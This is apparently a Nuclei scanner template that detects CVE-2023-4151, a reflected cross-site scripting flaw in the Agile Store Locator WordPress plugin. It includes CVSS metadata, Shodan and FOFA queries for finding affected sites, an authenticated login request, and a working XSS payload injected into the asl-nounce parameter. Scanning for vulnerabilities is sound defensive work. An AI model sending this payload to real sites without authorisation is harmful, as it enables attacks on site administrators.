Store Locator WordPress < 1.4.13 - Cross-Site Scripting

id: CVE-2023-4151

info:
  name: Store Locator WordPress < 1.4.13 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Store Locator WordPress plugin before 1.4.13 does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 1.4.13.
  reference:
    - https://wpscan.com/vulnerability/c9d80aa4-a26d-4b3f-b7bf-9d2fb0560d7b/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4151
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4151
    cwe-id: CWE-79
    epss-score: 0.00645
    epss-percentile: 0.46291
    cpe: cpe:2.3:a:agilelogix:store_locator:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: agilelogix
    product: store_locator
    framework: wordpress
    fofa-query: body="/wp-content/plugins/agile-store-locator"
    publicwww-query: /wp-content/plugins/agile-store-locator/
    shodan-query: http.html:"/wp-content/plugins/agile-store-locator/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,agile-store-locator,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/agile-store-locator"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin-ajax.php?action=asl_ajax_handler&asl-nounce=<img src onerror=alert`document.domain`> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<img src onerror=alert`document.domain`>'

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402201ca1e32d7fafd97b21aab36848ad339e3471b982f8aaefbecf749f34ff1fbb9902207ec392f6b76e55a56f5fd4b4c6fa4000f31b3e15b01f9c6c35854078e6e053bf:922c64590222798bb761d5b6d8e72950